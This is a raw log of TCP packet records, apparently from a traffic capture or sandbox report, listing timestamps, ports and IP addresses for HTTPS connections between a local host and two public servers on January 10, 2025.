Jan 10, 2025 19:06:10.893057108 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.893135071 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.893165112 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.893197060 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.893229008 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.893245935 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.893282890 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.936712027 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.983968019 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.983985901 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.984076977 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.984128952 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.984205961 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.984364986 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.984426975 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:10.985177040 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:10.985271931 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.062170982 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.062237024 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.062272072 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.062331915 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.062369108 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.062396049 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.062411070 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.062431097 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.062482119 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.063273907 CET	49801	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.063308001 CET	443	49801	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.200272083 CET	49805	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.200402975 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.200546980 CET	49805	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.200814962 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.200890064 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.200948000 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.201150894 CET	49805	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.201186895 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.201320887 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.201335907 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.201900005 CET	49807	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.201927900 CET	443	49807	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.201996088 CET	49807	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.202168941 CET	49807	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.202198982 CET	443	49807	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.794687986 CET	443	49807	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.795136929 CET	49807	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.795212984 CET	443	49807	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.795501947 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.795736074 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.795770884 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.796140909 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.796535969 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.796619892 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.796717882 CET	443	49807	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.796722889 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.796796083 CET	49807	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.797172070 CET	49807	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.797259092 CET	443	49807	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.797322989 CET	49807	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.797358990 CET	443	49807	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.798681974 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.799032927 CET	49805	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.799052000 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.799400091 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.799750090 CET	49805	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.799818993 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.799925089 CET	49805	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.799957037 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.839334965 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.841675997 CET	49807	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.841726065 CET	443	49807	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.889698029 CET	49807	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.968417883 CET	443	49807	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.968538046 CET	443	49807	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:11.968671083 CET	49807	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.969845057 CET	49807	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:11.969872952 CET	443	49807	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.051115036 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.051146984 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.051254988 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.051290035 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.094070911 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.094095945 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.094245911 CET	49805	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.094280005 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.094364882 CET	49805	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.097702980 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.124279022 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.124351978 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.124382973 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.124417067 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.124447107 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.169693947 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.169787884 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.169888020 CET	49805	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.169969082 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.170007944 CET	49805	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.177683115 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.197478056 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.197496891 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.197546005 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.197721958 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.197722912 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.197751999 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.224672079 CET	49805	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.240675926 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.270736933 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.270811081 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.270998955 CET	49805	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.270999908 CET	49805	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.271078110 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.271352053 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.271429062 CET	49805	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.271445990 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.271466017 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.271517992 CET	49805	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.271723986 CET	49805	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.271760941 CET	443	49805	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.297347069 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.297369957 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.297410965 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.297492981 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.297902107 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.297915936 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.297965050 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.297980070 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.298022032 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.370367050 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.370389938 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.370549917 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.371027946 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.371041059 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.371095896 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.371625900 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.371644020 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.371676922 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.371686935 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.371709108 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.371732950 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.443767071 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.443923950 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.444245100 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.444319963 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.445199966 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.445277929 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.517014980 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.517093897 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.517118931 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.517138004 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.517153025 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.517199039 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.517231941 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.517709970 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.517790079 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.518326998 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.518404961 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.590245008 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.590358973 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.590425014 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.590485096 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.590975046 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.591047049 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.591058969 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.591075897 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.591116905 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.591862917 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.591934919 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.592060089 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.592123985 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.664079905 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.664124966 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.664290905 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.664331913 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.664385080 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.665033102 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.665060043 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.665108919 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.665117979 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.665153980 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.668730974 CET	49809	443	192.168.2.16	170.148.240.44
Jan 10, 2025 19:06:12.668787003 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:12.668889999 CET	49809	443	192.168.2.16	170.148.240.44
Jan 10, 2025 19:06:12.669189930 CET	49809	443	192.168.2.16	170.148.240.44
Jan 10, 2025 19:06:12.669202089 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:12.737307072 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.737344980 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.737485886 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.737515926 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.737555027 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.737704992 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.737728119 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.737776995 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.737783909 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.737807989 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.737824917 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.738447905 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.738477945 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.738519907 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.738528013 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.738548040 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.738567114 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.810913086 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.810942888 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.811005116 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.811059952 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.811189890 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.811189890 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.811219931 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.811553001 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.811573029 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.811620951 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.811633110 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.812352896 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.812372923 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.812408924 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.812417984 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.812432051 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.863729000 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.883629084 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.883671045 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.883758068 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.883790970 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.883810997 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.883830070 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.884207964 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.884227991 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.884279013 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.884293079 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.884331942 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.884538889 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.884614944 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.884624004 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.885216951 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.885234118 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.885270119 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.885282993 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.885308027 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.927661896 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.956947088 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.956978083 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.957070112 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.957103014 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.957146883 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.957170963 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.957187891 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.957231998 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.957240105 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.957279921 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.957870960 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.957890034 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.957946062 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.957956076 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.957994938 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.958424091 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.958440065 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.958489895 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:12.958501101 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:12.958534956 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.030066967 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.030097008 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.030205965 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.030236006 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.030276060 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.030586004 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.030603886 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.030659914 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.030670881 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.030702114 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.031064034 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.031080961 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.031142950 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.031157017 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.031193972 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.031681061 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.031698942 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.031754971 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.031769991 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.031807899 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.103302956 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.103336096 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.103585958 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.103611946 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.103656054 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.103816986 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.103833914 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.103880882 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.103890896 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.103924036 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.104135990 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.104176044 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.104188919 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.104197979 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.104233980 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.104737997 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.104762077 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.104803085 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.104810953 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.104825020 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.104831934 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.104854107 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.104860067 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.104938030 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.104986906 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.105164051 CET	49806	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.105179071 CET	443	49806	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.154175043 CET	49810	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.154243946 CET	443	49810	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.154345989 CET	49810	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.154664993 CET	49810	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.154687881 CET	443	49810	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.545541048 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:13.563993931 CET	49809	443	192.168.2.16	170.148.240.44
Jan 10, 2025 19:06:13.564044952 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:13.565768957 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:13.565845013 CET	49809	443	192.168.2.16	170.148.240.44
Jan 10, 2025 19:06:13.566967964 CET	49809	443	192.168.2.16	170.148.240.44
Jan 10, 2025 19:06:13.567054033 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:13.567142010 CET	49809	443	192.168.2.16	170.148.240.44
Jan 10, 2025 19:06:13.567148924 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:13.613684893 CET	49809	443	192.168.2.16	170.148.240.44
Jan 10, 2025 19:06:13.766805887 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:13.766839981 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:13.766907930 CET	49809	443	192.168.2.16	170.148.240.44
Jan 10, 2025 19:06:13.766926050 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:13.766999006 CET	49809	443	192.168.2.16	170.148.240.44
Jan 10, 2025 19:06:13.767004967 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:13.779201031 CET	443	49810	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.779532909 CET	49810	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.779599905 CET	443	49810	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.780000925 CET	443	49810	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.780338049 CET	49810	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.780415058 CET	443	49810	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.780515909 CET	49810	443	192.168.2.16	170.148.209.228
Jan 10, 2025 19:06:13.780548096 CET	443	49810	170.148.209.228	192.168.2.16
Jan 10, 2025 19:06:13.820656061 CET	49809	443	192.168.2.16	170.148.240.44
Jan 10, 2025 19:06:13.839667082 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:13.839679956 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:13.839725018 CET	443	49809	170.148.240.44	192.168.2.16
Jan 10, 2025 19:06:13.839754105 CET	49809	443	192.168.2.16	170.148.240.44
Jan 10, 2025 19:06:13.884689093 CET	49809	443	192.168.2.16	170.148.240.44
Jan 10, 2025 19:06:13.912311077 CET	443	49809	170.148.240.44	192.168.2.16
